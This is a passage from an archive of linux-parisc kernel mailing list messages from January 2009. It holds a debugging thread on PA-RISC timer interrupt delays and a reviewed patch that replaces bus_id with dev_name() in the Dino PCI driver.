        b=FllHUyuiRu8V9Md7tEdxraFi85dF/ylGDu3NsCyZ+1Di4LGL4oyOjx2INT5zrzPj0+
         j2SLs5qE1xdSNMlhd01VT0o+6OOJBi4xAYsgirAmW9C0fuMgqbw1ElX299A72uPuIghW
         yJeGNmhtFbTG3XY+ppulq0X68e+w/uMimvFjA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=thZ4ZIwGlJfOU/FbqBGw5e7dJgmHSkExRMDxKFHWGkdQa2Qs1Xb94+bLI+KHNUHFVV
         Eq7AiiAhxV08HWSy/1a27lNyUgqPFbK+h8kedxZDPlYhgeky0uwSJcw04OhGso6P8Okq
         +vdmVv62Pp5HICz4oroU/Z81THk1ztKeuoaCc=
Original-Received: by 10.90.68.12 with SMTP id q12mr1746508aga.87.1232649376614; Thu, 
	22 Jan 2009 10:36:16 -0800 (PST)
In-Reply-To: <20090122174322.GA3184@bombadil.infradead.org>
X-Google-Sender-Auth: 6838c7c7d2633100
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1226>

On Thu, Jan 22, 2009 at 6:43 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Thu, Jan 22, 2009 at 12:23:33PM +0100, Thibaut VARENE wrote:
>> On Wed, Jan 21, 2009 at 3:31 PM, Kyle McMartin <kyle@infradead.org> wrote:
>>
>> > commit 1890e15142aa1318bb9775c4ea021aa022c506dc
>> > Author: Helge Deller <deller@gmx.de>
>> > Date:   Tue Jan 6 14:23:13 2009 +0100
>> >
>> >    parisc: blink loadavg LEDs on Oops
>> >
>>
>> I thought we agreed this was a bad idea and that this patch should be
>> left aside?
>> Helge?
>>
>
> Well, if you signed up for a patchwork account you could have flagged it
> as such. :P

Dude don't blame me, I tried like 2 or 3 weeks ago to do exactly that,
and never received the confirmation email...

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: commit mail stuff
Date: Thu, 22 Jan 2009 15:10:30 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20090122201030.GA18664@bombadil.infradead.org>
References: <20090121143130.GC27998@bombadil.infradead.org> <49776F17.9010006@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232655047 3889 80.91.229.12 (22 Jan 2009 20:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 Jan 2009 20:10:47 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 22 21:11:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LQ5u6-0001Mi-G6
	for glpp-linux-parisc@gmane.org; Thu, 22 Jan 2009 21:11:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752015AbZAVUKf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 Jan 2009 15:10:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752819AbZAVUKe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 Jan 2009 15:10:34 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:56416 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752015AbZAVUKe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 Jan 2009 15:10:34 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LQ5sk-0003lo-Vi; Thu, 22 Jan 2009 20:10:31 +0000
Content-Disposition: inline
In-Reply-To: <49776F17.9010006@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1227>

On Wed, Jan 21, 2009 at 07:53:11PM +0100, Helge Deller wrote:
> Kyle McMartin wrote:
> > Dunno why it's broken, but this stuff is in git. 
> 
> What is broken? Booting? Build?
> 
> > Let me know if I missed anything.
> 
> - The maintainers update patch
> 
> - Still needs discussion/patches: Userspace headers cleanup in arch/parisc/include/asm/
> 
> Didn't checked yet:
> - http://patchwork.cabal.ca/patch/83/ ?

I think that went in last go 'round.

> - the rtc patches from dann ?
> 

I figured Alessandro would take them, ok, I'll put them on a branch.

> Helge
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: timer_interrupt delayed messages 2.6.27-rc7
Date: Sun, 25 Jan 2009 01:04:51 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <20090125080451.GE22539@colo.lackof.org>
References: <20081001055953.GC7348@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232870720 18102 80.91.229.12 (25 Jan 2009 08:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Jan 2009 08:05:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 25 09:06:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LR00l-0007oY-MI
	for glpp-linux-parisc@gmane.org; Sun, 25 Jan 2009 09:06:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751427AbZAYIFK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Jan 2009 03:05:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751403AbZAYIFK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 25 Jan 2009 03:05:10 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:48425 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751427AbZAYIFJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Jan 2009 03:05:09 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4535730007F;
	Sun, 25 Jan 2009 01:05:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03153-01; Sun, 25 Jan 2009 01:04:53 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7197630007E; Sun, 25 Jan 2009 01:04:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081001055953.GC7348@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1228>

On Tue, Sep 30, 2008 at 11:59:53PM -0600, Grant Grundler wrote:
> Hey,
> I tested two 2.6.27-rc7 kernels on an a500.
> The first had CONFIG_HZ=250 and was getting the following messages:
> timer_interrupt(CPU 1): delayed! cycles 100001A37 rem 8C237  next/now 4A954C3C1C/4B954C5653
> timer_interrupt(CPU 0): delayed! cycles 100000E07 rem 8B607  next/now 4A95B8EAF5/4B95B8F8FC
> timer_interrupt(CPU 1): delayed! cycles 1000009CB rem 8B1CB  next/now 4B956525DC/4C95652FA7
> timer_interrupt(CPU 0): delayed! cycles 100000931 rem 8B131  next/now 4B95D1D4B5/4C95D1DDE6
> ...
> 
> Since 8B131+931 looks remarkably close to 550 Mhz/1000,

I'm looking at this again and wondering if I made a thinko.
(8B131-931) gives the same answer for each: 0x8A800 (567296)

> I decided to try a CONFIG_HZ=1000 kernel and now get the following:
> timer_interrupt(CPU 1): delayed! cycles 100001C74 rem 6004  next/now 2BFD187FEA/2CFD189C5E
> timer_interrupt(CPU 1): delayed! cycles 100000E8A rem 521A  next/now 2CFD20A0CA/2DFD20AF54
> timer_interrupt(CPU 1): delayed! cycles 100000A33 rem 4DC3  next/now 2DFD28C1AA/2EFD28CBDD
> timer_interrupt(CPU 1): delayed! cycles 100000C87 rem 5017  next/now 2EFD30E28A/2FFD30EF11

Same here:
    5017-C87=0x4390
    4DC3-A33=0x4390

> ...
> 
> Note that CPU0 no longer reports this error.
> I suspect we have two bugs in play here.
> 
> The first one might be we have some basic bug in how the itimer is
> getting programmed.  I suspect it's always off by 32-bits because IIRC
> we can only program the lower 32-bits of CR16. I suspect the comparison
> code gets the 32-bit rollover wrong. Is that enough clues for someone to
> spot this?

I've looked for this but don't see it. The next/now values above don't
support that theory since they are not within 0x8A800 (first example
at 250Hz) of 4G.

Secondly, at 1000Hz, I'm not seeing the relationship of 0x4390
to any plausible cycles per tick value (440-750Mhz). I should see
something between 0x6B6C0 (440Mhz) and 0xB71B0 (750Mhz).

I'm wondering if this a side effect of some other bug.

thanks,
grant


> The second might be 1000HZ (or 1024?) is still hardcoded in our source
> code someplace.  I can't otherwise explain the "rem" values dropped more
> than 4x while the "cycles" value is roughly the same (2^32 + about 0x1000).
> Also CPU0 stopped reporting this error. Initialization for CPU0 is different
> and those might be useful clues too.
> 
> thanks,
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kay Sievers <kay.sievers@vrfy.org>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: struct device - replace bus_id with dev_name(),
 dev_set_name()
Date: Sun, 25 Jan 2009 23:53:16 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <1232923996.2924.17.camel@nga>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232924075 18742 80.91.229.12 (25 Jan 2009 22:54:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Jan 2009 22:54:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, gregkh <gregkh@suse.de>
To: kyle@mcmartin.ca, matthew@wil.cx
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 25 23:55:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRDt4-0001ef-Ek
	for glpp-linux-parisc@gmane.org; Sun, 25 Jan 2009 23:55:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751001AbZAYWyK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Jan 2009 17:54:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751003AbZAYWyJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 25 Jan 2009 17:54:09 -0500
Original-Received: from mu-out-0910.google.com ([209.85.134.187]:28603 "EHLO
	mu-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751001AbZAYWyI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Jan 2009 17:54:08 -0500
Original-Received: by mu-out-0910.google.com with SMTP id g7so3773989muf.1
        for <linux-parisc@vger.kernel.org>; Sun, 25 Jan 2009 14:54:07 -0800 (PST)
Original-Received: by 10.103.240.5 with SMTP id s5mr357018mur.133.1232924046796;
        Sun, 25 Jan 2009 14:54:06 -0800 (PST)
Original-Received: from ?192.168.178.69? (g224067134.adsl.alicedsl.de [92.224.67.134])
        by mx.google.com with ESMTPS id j10sm21730433mue.3.2009.01.25.14.54.05
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 25 Jan 2009 14:54:05 -0800 (PST)
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1229>

From: Kay Sievers <kay.sievers@vrfy.org>
Subject: parisc: struct device - replace bus_id with dev_name(), dev_set_name()

Cc: kyle@mcmartin.ca
Cc: matthew@wil.cx
Cc: linux-parisc@vger.kernel.org
Acked-by: Greg Kroah-Hartman <gregkh@suse.de>
Signed-off-by: Kay Sievers <kay.sievers@vrfy.org>
---
 drivers/parisc/dino.c |   11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -479,7 +479,7 @@ dino_card_setup(struct pci_bus *bus, voi
 	res = &dino_dev->hba.lmmio_space;
 	res->flags = IORESOURCE_MEM;
 	size = scnprintf(name, sizeof(name), "Dino LMMIO (%s)", 
-			 bus->bridge->bus_id);
+			 dev_name(bus->bridge));
 	res->name = kmalloc(size+1, GFP_KERNEL);
 	if(res->name)
 		strcpy((char *)res->name, name);
@@ -493,7 +493,7 @@ dino_card_setup(struct pci_bus *bus, voi
 		struct list_head *ln, *tmp_ln;
 
 		printk(KERN_ERR "Dino: cannot attach bus %s\n",
-		       bus->bridge->bus_id);
+		       dev_name(bus->bridge));
 		/* kill the bus, we can't do anything with it */
 		list_for_each_safe(ln, tmp_ln, &bus->devices) {
 			struct pci_dev *dev = pci_dev_b(ln);
@@ -611,12 +611,12 @@ dino_fixup_bus(struct pci_bus *bus)
 			}
 					
 			DBG("DEBUG %s assigning %d [0x%lx,0x%lx]\n",
-			    bus->self->dev.bus_id, i,
+			    dev_name(&bus->self->dev), i,
 			    bus->self->resource[i].start,
 			    bus->self->resource[i].end);
 			pci_assign_resource(bus->self, i);
 			DBG("DEBUG %s after assign %d [0x%lx,0x%lx]\n",
-			    bus->self->dev.bus_id, i,
+			    dev_name(&bus->self->dev), i,
 			    bus->self->resource[i].start,
 			    bus->self->resource[i].end);
 		}
@@ -1026,7 +1026,8 @@ static int __init dino_probe(struct pari
 		dino_current_bus = bus->subordinate + 1;
 		pci_bus_assign_resources(bus);
 	} else {
-		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n", dev->dev.bus_id, dino_current_bus);
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n",
+		       dev_name(&dev->dev), dino_current_bus);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
 	}

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: struct device - replace bus_id with dev_name(),
	dev_set_name()
Date: Sun, 25 Jan 2009 21:55:23 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <20090126045523.GB4376@colo.lackof.org>
References: <1232923996.2924.17.camel@nga>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232945747 29215 80.91.229.12 (26 Jan 2009 04:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Jan 2009 04:55:47 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	gregkh <gregkh@suse.de>
To: Kay Sievers <kay.sievers@vrfy.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 26 05:56:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRJWq-0003qq-0z
	for glpp-linux-parisc@gmane.org; Mon, 26 Jan 2009 05:56:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751294AbZAZEzf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Jan 2009 23:55:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751302AbZAZEzf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 25 Jan 2009 23:55:35 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:58146 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751294AbZAZEze (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Jan 2009 23:55:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A47AA298058;
	Sun, 25 Jan 2009 21:55:33 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01088-09; Sun, 25 Jan 2009 21:55:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4A6DC29800A; Sun, 25 Jan 2009 21:55:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1232923996.2924.17.camel@nga>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1230>

On Sun, Jan 25, 2009 at 11:53:16PM +0100, Kay Sievers wrote:
> From: Kay Sievers <kay.sievers@vrfy.org>
> Subject: parisc: struct device - replace bus_id with dev_name(), dev_set_name()

In general, no objection. Just one nit below.

Otherwise, please add:
Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

> 
> Cc: kyle@mcmartin.ca
> Cc: matthew@wil.cx
> Cc: linux-parisc@vger.kernel.org
> Acked-by: Greg Kroah-Hartman <gregkh@suse.de>
> Signed-off-by: Kay Sievers <kay.sievers@vrfy.org>
> ---
>  drivers/parisc/dino.c |   11 ++++++-----
>  1 file changed, 6 insertions(+), 5 deletions(-)
> 
> --- a/drivers/parisc/dino.c
> +++ b/drivers/parisc/dino.c
> @@ -479,7 +479,7 @@ dino_card_setup(struct pci_bus *bus, voi
>  	res = &dino_dev->hba.lmmio_space;
>  	res->flags = IORESOURCE_MEM;
>  	size = scnprintf(name, sizeof(name), "Dino LMMIO (%s)", 
> -			 bus->bridge->bus_id);
> +			 dev_name(bus->bridge));
>  	res->name = kmalloc(size+1, GFP_KERNEL);
>  	if(res->name)
>  		strcpy((char *)res->name, name);
> @@ -493,7 +493,7 @@ dino_card_setup(struct pci_bus *bus, voi
>  		struct list_head *ln, *tmp_ln;
>  
>  		printk(KERN_ERR "Dino: cannot attach bus %s\n",
> -		       bus->bridge->bus_id);
> +		       dev_name(bus->bridge));

I think the "cannot attach bus" string needs to be changed to
"cannot attach dev" or whatever dev_name() is supposed to represent.
While the code in include/linux/device.h is using "bus_id",
the comments say:

static inline const char *dev_name(const struct device *dev)
{
        /* will be changed into kobject_name(&dev->kobj) in the near future */
        return dev->bus_id;
}

And that could mean anything.
The rest look fine.

thanks,
grant

>  		/* kill the bus, we can't do anything with it */
>  		list_for_each_safe(ln, tmp_ln, &bus->devices) {
>  			struct pci_dev *dev = pci_dev_b(ln);
> @@ -611,12 +611,12 @@ dino_fixup_bus(struct pci_bus *bus)
>  			}
>  					
>  			DBG("DEBUG %s assigning %d [0x%lx,0x%lx]\n",
> -			    bus->self->dev.bus_id, i,
> +			    dev_name(&bus->self->dev), i,
>  			    bus->self->resource[i].start,
>  			    bus->self->resource[i].end);
>  			pci_assign_resource(bus->self, i);
>  			DBG("DEBUG %s after assign %d [0x%lx,0x%lx]\n",
> -			    bus->self->dev.bus_id, i,
> +			    dev_name(&bus->self->dev), i,
>  			    bus->self->resource[i].start,
>  			    bus->self->resource[i].end);
>  		}
> @@ -1026,7 +1026,8 @@ static int __init dino_probe(struct pari
>  		dino_current_bus = bus->subordinate + 1;
>  		pci_bus_assign_resources(bus);
>  	} else {
> -		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n", dev->dev.bus_id, dino_current_bus);
> +		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n",
> +		       dev_name(&dev->dev), dino_current_bus);
>  		/* increment the bus number in case of duplicates */
>  		dino_current_bus++;
>  	}
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kay Sievers <kay.sievers@vrfy.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: struct device - replace bus_id with dev_name(), 
	dev_set_name()
Date: Mon, 26 Jan 2009 13:27:48 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <ac3eb2510901260427p5f2bbeedv57368043a88dd1f4@mail.gmail.com>
References: <1232923996.2924.17.camel@nga>
	 <20090126045523.GB4376@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232973200 1734 80.91.229.12 (26 Jan 2009 12:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Jan 2009 12:33:20 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	gregkh <gregkh@suse.de>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 26 13:34:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRQfX-000697-AS
	for glpp-linux-parisc@gmane.org; Mon, 26 Jan 2009 13:34:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750978AbZAZMdD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jan 2009 07:33:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751056AbZAZMdD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Jan 2009 07:33:03 -0500
Original-Received: from mail-ew0-f21.google.com ([209.85.219.21]:41663 "EHLO
	mail-ew0-f21.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750978AbZAZMdB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jan 2009 07:33:01 -0500
X-Greylist: delayed 311 seconds by postgrey-1.27 at vger.kernel.org; Mon, 26 Jan 2009 07:33:00 EST
Original-Received: by ewy14 with SMTP id 14so375176ewy.13
        for <linux-parisc@vger.kernel.org>; Mon, 26 Jan 2009 04:32:59 -0800 (PST)
Original-Received: by 10.210.86.10 with SMTP id j10mr6556807ebb.153.1232972868421; Mon, 
	26 Jan 2009 04:27:48 -0800 (PST)
In-Reply-To: <20090126045523.GB4376@colo.lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1231>

On Mon, Jan 26, 2009 at 05:55, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sun, Jan 25, 2009 at 11:53:16PM +0100, Kay Sievers wrote:
>> From: Kay Sievers <kay.sievers@vrfy.org>
>> Subject: parisc: struct device - replace bus_id with dev_name(), dev_set_name()
>
> In general, no objection. Just one nit below.
>
> Otherwise, please add:
> Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

>>               printk(KERN_ERR "Dino: cannot attach bus %s\n",
>> -                    bus->bridge->bus_id);
>> +                    dev_name(bus->bridge));
>
> I think the "cannot attach bus" string needs to be changed to
> "cannot attach dev" or whatever dev_name() is supposed to represent.

The code probably uses a "struct device" to represent a "bus", which
sounds fine because the "devices" are more "objects" than "devices"
sometimes.

> While the code in include/linux/device.h is using "bus_id",
> the comments say:
>
> static inline const char *dev_name(const struct device *dev)
> {
>        /* will be changed into kobject_name(&dev->kobj) in the near future */
>        return dev->bus_id;
> }

It's the "name" of a "device", the comment has already gone away with
the final patch in the bus_id series.

Thanks,
Kay
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: struct device - replace bus_id with dev_name(),
	dev_set_name()
Date: Mon, 26 Jan 2009 09:39:07 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20090126173907.GA26477@suse.de>
References: <1232923996.2924.17.camel@nga> <20090126045523.GB4376@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232991697 4895 80.91.229.12 (26 Jan 2009 17:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Jan 2009 17:41:37 +0000 (UTC)
Cc: Kay Sievers <kay.sievers@vrfy.org>, kyle@mcmartin.ca,
	matthew@wil.cx, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 26 18:42:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LRVTE-0000xi-Q0
	for glpp-linux-parisc@gmane.org; Mon, 26 Jan 2009 18:42:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751625AbZAZRkk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jan 2009 12:40:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751715AbZAZRkk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 Jan 2009 12:40:40 -0500
